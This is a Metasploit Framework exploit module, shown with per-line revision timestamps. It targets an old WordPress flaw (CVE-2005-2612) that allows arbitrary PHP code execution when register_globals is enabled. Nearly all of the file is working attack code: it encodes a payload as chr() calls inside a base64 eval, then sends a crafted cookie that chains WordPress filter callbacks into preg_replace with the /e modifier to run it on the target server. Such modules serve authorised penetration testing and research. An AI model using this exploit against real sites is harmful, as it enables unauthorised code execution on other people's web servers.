2007-02-18 00:10:39 +00:00
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2007-01-05 05:58:13 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = ExcellentRanking
|
2007-01-05 05:58:13 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2007-01-05 05:58:13 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2007-01-05 05:58:13 +00:00
|
|
|
'Name' => 'WordPress cache_lastpostdate Arbitrary Code Execution',
|
|
|
|
'Description' => %q{
|
2010-04-30 08:40:19 +00:00
|
|
|
This module exploits an arbitrary PHP code execution flaw in the WordPress
|
|
|
|
blogging software. This vulnerability is only present when the PHP 'register_globals'
|
|
|
|
option is enabled (common for hosting providers). All versions of WordPress prior to
|
|
|
|
1.5.1.3 are affected.
|
2007-01-05 05:58:13 +00:00
|
|
|
},
|
2007-03-12 01:08:18 +00:00
|
|
|
'Author' => [ 'str0ke <str0ke [at] milw0rm.com>', 'hdm' ],
|
2007-01-05 05:58:13 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['CVE', '2005-2612'],
|
2009-10-12 14:39:51 +00:00
|
|
|
['OSVDB', '18672'],
|
2007-01-05 05:58:13 +00:00
|
|
|
['BID', '14533'],
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'DisableNops' => true,
|
2010-04-30 08:40:19 +00:00
|
|
|
'Compat' =>
|
2008-09-24 04:41:51 +00:00
|
|
|
{
|
|
|
|
'ConnectionType' => 'find',
|
|
|
|
},
|
2007-01-05 05:58:13 +00:00
|
|
|
'Space' => 512,
|
|
|
|
},
|
|
|
|
'Platform' => 'php',
|
|
|
|
'Arch' => ARCH_PHP,
|
|
|
|
'Targets' => [[ 'Automatic', { }]],
|
|
|
|
'DisclosureDate' => 'Aug 9 2005',
|
|
|
|
'DefaultTarget' => 0))
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('URI', [true, "The full URI path to WordPress", "/"]),
|
|
|
|
], self.class)
|
2007-01-05 05:58:13 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-01-05 05:58:13 +00:00
|
|
|
enc = payload.encoded.unpack('C*').map { |c| "chr(#{c})"}.join('.') + ".chr(32)"
|
|
|
|
str = Rex::Text.encode_base64('args[0]=eval(base64_decode('+enc+')).die()&args[1]=x')
|
|
|
|
data =
|
|
|
|
"wp_filter[query_vars][0][0][function]=get_lastpostdate;wp_filter[query_vars][0][0][accepted_args]=0;"+
|
|
|
|
"wp_filter[query_vars][0][1][function]=base64_decode;wp_filter[query_vars][0][1][accepted_args]=1;"+
|
|
|
|
"cache_lastpostmodified[server]=//e;cache_lastpostdate[server]="+str+
|
|
|
|
";wp_filter[query_vars][1][0][function]=parse_str;wp_filter[query_vars][1][0][accepted_args]=1;"+
|
|
|
|
"wp_filter[query_vars][2][0][function]=get_lastpostmodified;wp_filter[query_vars][2][0][accepted_args]=0;"+
|
|
|
|
"wp_filter[query_vars][3][0][function]=preg_replace;wp_filter[query_vars][3][0][accepted_args]=3;"
|
|
|
|
|
|
|
|
# Trigger the command execution bug
|
|
|
|
res = send_request_cgi({
|
2012-11-08 16:42:48 +00:00
|
|
|
'uri' => normalize_uri(datastore['URI']),
|
2010-07-03 06:21:31 +00:00
|
|
|
'cookie' => data
|
|
|
|
}, 25)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-01-05 05:58:13 +00:00
|
|
|
if (res)
|
|
|
|
print_status("The server returned: #{res.code} #{res.message}")
|
|
|
|
else
|
|
|
|
print_status("No response from the server")
|
|
|
|
end
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-10-12 14:39:51 +00:00
|
|
|
end
|